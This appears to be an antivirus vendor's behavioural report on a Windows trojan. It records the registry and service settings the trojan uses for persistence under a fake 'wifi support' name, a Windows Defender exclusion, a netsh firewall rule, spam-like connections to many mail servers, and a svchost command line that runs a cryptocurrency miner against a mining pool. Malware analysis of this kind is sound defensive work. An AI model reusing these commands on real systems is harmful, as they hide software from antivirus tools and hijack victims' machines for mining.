Trojan.Siggen18.46218

Technical Information

To ensure autorun and distribution

Sets the following service settings

[<HKLM>\System\CurrentControlSet\Services\ieahwofc] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ieahwofc] 'ImagePath' = '%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ieahwofc] 'ImagePath' = '%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe'

Creates the following services

'ieahwofc' %WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d"<Full path to file>"
'ieahwofc' %WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ieahwofc' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\eqsiulax.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\eqsiulax.exe to %WINDIR%\syswow64\ieahwofc\eqsiulax.exe

Deletes itself.

Network activity

Connects to

'mi##########m.mail.protection.outlook.com':25
'mx.##ubtenco.it':25
'pm#.###.1.0001.arsmtp.com':25
'mx#.###wardemail.net':25
'sh########l.mx.a.cloudfilter.net':25
'mx.#in.it':25
'mx.##dells.com':25
'ho#########.olc.protection.outlook.com':25
'mx#######b01.gslb.pphosted.com':25
'mx#.###204-14.iphmx.com':25
'mx.###com.psi.br':25
'mx.#####odecarvalho.com.br':25
'dn#######stmx01.email.rr.com':25
'mx##.mb5p.com':25
'mx#######302.gslb.pphosted.com':25
'mx#.####te.mail2world.com':25
'ma##.#-email.net':25
'18#.#14.98.202':443
'pa####x.above.com':25
'cl#####an12.ilger.com':25
'mx#.##bloque.com':25
'cu#######-1.in.mailcontrol.com':25
'ma##.#wisscom.com':25
'mx.###yachts.com':25
'mx#######201.gslb.pphosted.com':25
'ma#######r.comune.avellino.it':25
'mt#.###ogressive.com':25
'mx.##nadoo.com':25
're######mtp-in.amazon.com':25
'gq#.#witch.tv':443
'mx.##a.untd.com':25
'ma##.#zeronline.com':25
'mx#######005.gslb.pphosted.com':25
'al######x-vip1.prodigy.net':25
'mx.#####.#om.cust.b.hostedemail.com':25
'em#.mail.ru':25
'mx#######c02.gslb.pphosted.com':25
'sm######nt06.mountsinai.org':25
'mx.######mail.rediff.akadns.net':25
'al######x-vip2.prodigy.net':25
'mx######1e301.pphosted.com':25
'mx#.##il.ovh.net':25
'mx.###m.kgslb.com':25
'mx.####cinegiuliano.com':25
'mx#.#ate.com':25
'mx######91d01.pphosted.com':25
'fr########eum.org.1.0001.arsmtp.com':25
'mx#######701.gslb.pphosted.com':25
'mx#.#lesa.com':25
'ma##.#ie.unige.it':25
'mx#######e02.gslb.pphosted.com':25
'mt#.#1cn.com':25
'aspmx.l.google.com':25
'mx##.mail.com':25
'mx######e6603.pphosted.com':25
'es##.###58-86.ca.iphmx.com':25
'mx.##wway.com':25
'r-####4.korea.com':25
'mx##.###us-vadesecure.net':25
'ma###.dveri.com':25
'mx#######e01.gslb.pphosted.com':25
'mx##.##il.icloud.com':25
'17#.#13.115.153':429
'mx#######003.gslb.pphosted.com':25
'mx#######401.gslb.pphosted.com':25
'fa###ool.xyz':10060
'sm###.#ail.medcity.net':25
'mx#.#ailgun.org':25
'ma####.bezeqint.net':25
'mx#######a01.gslb.pphosted.com':25
'mx#######001.gslb.pphosted.com':25
'mx#.#aver.com':25
'17#.#13.115.158':485
'sv####lfheim.top':443
'bo###own.com':25
'17#.#13.115.154':429
'fs####.###il-protect.gosecure.net':25
'17#.#13.115.155':429
'mx######1-farm74.uni5.net':25
'ne##s.net':25
'in###gram.com':443
're###.micso.it':25
'ma##.####nnarocostruzioni.com':25
'mi#####nchronicle.com':443
'mx.##terbuy.it':25
'pb####1.pobox.com':25
'mx#######501.gslb.pphosted.com':25
'15#.#40.201.174':443
'ma###.##tesasanpaolo.com':25
'si#########.secureintellicentre.net.au':25
're####avs.poste.it':25
'80.#6.75.4':429
'mx#.##brielli.it':25
'my###.express.dhl':443
'ma####.exxonmobil.com':25
'mx.##titour.it':25
'mx#######c01.gslb.pphosted.com':25
'eu#.###.#rotection.outlook.com':25
'mx#######601.gslb.pphosted.com':25
'google.com':80
'17#.#13.115.157':429
'17#.#13.115.156':429
'mx.########e.com.cust.b.hostedemail.com':25
'mg#.#damant.net':25

TCP

HTTP GET requests

http://www.google.com/

Other

'sv####lfheim.top':443
'cl#####an12.ilger.com':25
'pa####x.above.com':25
'ma##.#-email.net':25
'mx#.####te.mail2world.com':25
'18#.#14.98.202':443
'mx#.##bloque.com':25
'mx##.mb5p.com':25
'alt1.aspmx.l.google.com':25
'mx#.###204-14.iphmx.com':25
'mx.#####odecarvalho.com.br':25
'cu#######-1.in.mailcontrol.com':25
'ho#########.olc.protection.outlook.com':25
'mx.######mail.rediff.akadns.net':25
'mx#.#lesa.com':25
'fr########eum.org.1.0001.arsmtp.com':25
'mx.###m.kgslb.com':25
'mx#.##il.ovh.net':25
'al######x-vip2.prodigy.net':25
'ma##.#ie.unige.it':25
'em#.mail.ru':25
'al######x-vip1.prodigy.net':25
'pm#.###.1.0001.arsmtp.com':25
'ma#######r.comune.avellino.it':25
'ne##s.net':25
'mx######1-farm74.uni5.net':25
'mt#.#1cn.com':25
'mx#.#aver.com':25
'mx#.#ailgun.org':25
'fa###ool.xyz':10060
'ma###.dveri.com':25
'fs####.###il-protect.gosecure.net':25
'80.#6.75.4':429
'17#.#13.115.154':429
'17#.#13.115.156':429
'17#.#13.115.157':429
'17#.#13.115.153':429
'17#.#13.115.158':485
'17#.#13.115.155':429
'my###.express.dhl':443
're####avs.poste.it':25
'15#.#40.201.174':443
'pb####1.pobox.com':25
'bo###own.com':25
'mi#####nchronicle.com':443
'ma##.####nnarocostruzioni.com':25
're###.micso.it':25
'in###gram.com':443
'aspmx.l.google.com':25
'eu#.###.#rotection.outlook.com':25
'gq#.#witch.tv':443
're######mtp-in.amazon.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK re##lls.com
DNS ASK mx.##dells.com
DNS ASK ti#.it
DNS ASK mx.#in.it
DNS ASK sh#w.ca
DNS ASK sh########l.mx.a.cloudfilter.net
DNS ASK da###lcuti.de
DNS ASK mx#.###wardemail.net
DNS ASK fo######onbeyondbelief.org
DNS ASK mx#.#lesa.com
DNS ASK us##nk.com
DNS ASK pm#.###.1.0001.arsmtp.com
DNS ASK cl###enco.it
DNS ASK mx.##ubtenco.it
DNS ASK co####.avellino.it
DNS ASK ma#######r.comune.avellino.it
DNS ASK re##ff.com
DNS ASK mx.######mail.rediff.akadns.net
DNS ASK ms###health.org
DNS ASK sm######nt06.mountsinai.org
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK rc#.it
DNS ASK pm#.com
DNS ASK el##a.com
DNS ASK be##buy.com
DNS ASK pa####x.above.com
DNS ASK ti##jo.com
DNS ASK ma##.#-email.net
DNS ASK ex##te.it
DNS ASK mx#.####te.mail2world.com
DNS ASK vm#.com
DNS ASK mx#######302.gslb.pphosted.com
DNS ASK ro###tmal.com
DNS ASK mx##.mb5p.com
DNS ASK f1###chts.com
DNS ASK mx.###yachts.com
DNS ASK ho###on.rr.com
DNS ASK dn#######stmx01.email.rr.com
DNS ASK fo###comm.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK mk###t.com.br
DNS ASK mx.###com.psi.br
DNS ASK ne###gecorp.com
DNS ASK mx#.###204-14.iphmx.com
DNS ASK mx#######b01.gslb.pphosted.com
DNS ASK cl#####an12.ilger.com
DNS ASK ho##ail.com
DNS ASK re####avs.poste.it
DNS ASK ki###corp.com
DNS ASK ly##s.com
DNS ASK sb###obal.net
DNS ASK al######x-vip1.prodigy.net
DNS ASK be###outh.net
DNS ASK az###nline.com
DNS ASK ma##.#zeronline.com
DNS ASK al###ate.com
DNS ASK mx#######005.gslb.pphosted.com
DNS ASK ex##te.com
DNS ASK ho###epot.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK ju##.com
DNS ASK gq#.#witch.tv
DNS ASK ma#####lace.amazon.com
DNS ASK re######mtp-in.amazon.com
DNS ASK ic##ud.com
DNS ASK xa##doo.com
DNS ASK mx.##nadoo.com
DNS ASK an###fire.com
DNS ASK mx.########e.com.cust.b.hostedemail.com
DNS ASK em#.mail.ru
DNS ASK ic##ail.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK bo#####ordoncollege.com
DNS ASK mx#######c02.gslb.pphosted.com
DNS ASK fr####rmuseum.org
DNS ASK su###click.com
DNS ASK mx######91d01.pphosted.com
DNS ASK na##.com
DNS ASK mx#.#ate.com
DNS ASK of#####egiuliano.com
DNS ASK mx.####cinegiuliano.com
DNS ASK ha##ail.net
DNS ASK mx.###m.kgslb.com
DNS ASK co####.treviso.it
DNS ASK de####isscale.com
DNS ASK te###orm.com
DNS ASK ci##a.com
DNS ASK mx######1e301.pphosted.com
DNS ASK at#.net
DNS ASK al######x-vip2.prodigy.net
DNS ASK ta##tha.org
DNS ASK mt#.###ogressive.com
DNS ASK di#.#nige.it
DNS ASK ma##.#ie.unige.it
DNS ASK wa###nwyatt.com
DNS ASK mx#.##il.ovh.net
DNS ASK fr########eum.org.1.0001.arsmtp.com
DNS ASK si###sxm.com
DNS ASK mx#.##bloque.com
DNS ASK el###que.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK me.com
DNS ASK mx##.##il.icloud.com
DNS ASK dv##i.com
DNS ASK ma###.dveri.com
DNS ASK ea###link.net
DNS ASK mx##.###us-vadesecure.net
DNS ASK ko##a.com
DNS ASK r-####4.korea.com
DNS ASK wi####enwest.com
DNS ASK mx.##wway.com
DNS ASK ij##.com
DNS ASK es##.###58-86.ca.iphmx.com
DNS ASK wi##ar.com
DNS ASK mx######e6603.pphosted.com
DNS ASK la##er.com
DNS ASK mx##.mail.com
DNS ASK mo##ow.com
DNS ASK fs####.###il-protect.gosecure.net
DNS ASK google.com
DNS ASK mx#######003.gslb.pphosted.com
DNS ASK up#.com
DNS ASK mx#######e01.gslb.pphosted.com
DNS ASK wf.com
DNS ASK bo###own.com
DNS ASK ma####.bezeqint.net
DNS ASK 23#.###.#12.82.dnsbl.sorbs.net
DNS ASK we###ngton.com
DNS ASK mx#######001.gslb.pphosted.com
DNS ASK it##n.com
DNS ASK mx#######a01.gslb.pphosted.com
DNS ASK na##r.com
DNS ASK 23#.###.#12.82.bl.spamcop.net
DNS ASK mx#.#aver.com
DNS ASK 23#.###.#12.82.zen.spamhaus.org
DNS ASK wi#####terhospital.org
DNS ASK ad##ant.net
DNS ASK be###int.net
DNS ASK be###uoth.net
DNS ASK 23#.###.#12.82.cbl.abuseat.org
DNS ASK mx#.#ailgun.org
DNS ASK la###ngroup.net
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK 23#.###.112.82.in-addr.arpa
DNS ASK fa###ool.xyz
DNS ASK hc####lthcare.com
DNS ASK sm###.#ail.medcity.net
DNS ASK sv####lfheim.top
DNS ASK 23#.###.##2.82.sbl-xbl.spamhaus.org
DNS ASK mx.##a.untd.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK in###gram.com
DNS ASK ec###t-br.com
DNS ASK mx######1-farm74.uni5.net
DNS ASK wi##.org
DNS ASK aspmx.l.google.com
DNS ASK 21##.com
DNS ASK mt#.#1cn.com
DNS ASK am###trade.com
DNS ASK bn.com
DNS ASK mc####ssociates.com
DNS ASK mo###emini.com
DNS ASK mx#######e02.gslb.pphosted.com
DNS ASK eg#####ecarvalho.com.br
DNS ASK mo####gstarco.com
DNS ASK mx.#####odecarvalho.com.br
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK sw###com.com
DNS ASK ma##.#wisscom.com
DNS ASK no###shore.org
DNS ASK ma##.####nnarocostruzioni.com
DNS ASK li#e.it
DNS ASK re###.micso.it
DNS ASK mi##o.net
DNS ASK di######ocostruzioni.com
DNS ASK mi#####nchronicle.com
DNS ASK da##tour.it
DNS ASK mx.##titour.it
DNS ASK ex###mobil.com
DNS ASK ma####.exxonmobil.com
DNS ASK oc##spa.com
DNS ASK my###.express.dhl
DNS ASK mx#.##brielli.it
DNS ASK hs.#tc.com
DNS ASK ho##ail.fr
DNS ASK po##e.it
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ne##s.net
DNS ASK si#########.secureintellicentre.net.au
DNS ASK sa###oloimi.com
DNS ASK ma###.##tesasanpaolo.com
DNS ASK au###st.com.au
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK po##x.com
DNS ASK pb####1.pobox.com
DNS ASK de##rbuy.it
DNS ASK as#.edu
DNS ASK mx.##terbuy.it
DNS ASK as##.gov.au
DNS ASK mg#.#damant.net

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ieahwofc\eqsiulax.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ieahwofc\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\eqsiulax.exe" %WINDIR%\SysWOW64\ieahwofc\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ieahwofc binPath= "%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ieahwofc "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ieahwofc' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ieahwofc\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\eqsiulax.exe" %WINDIR%\SysWOW64\ieahwofc\
'%WINDIR%\syswow64\sc.exe' create ieahwofc binPath= "%WINDIR%\SysWOW64\ieahwofc\eqsiulax.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ieahwofc "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ieahwofc
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial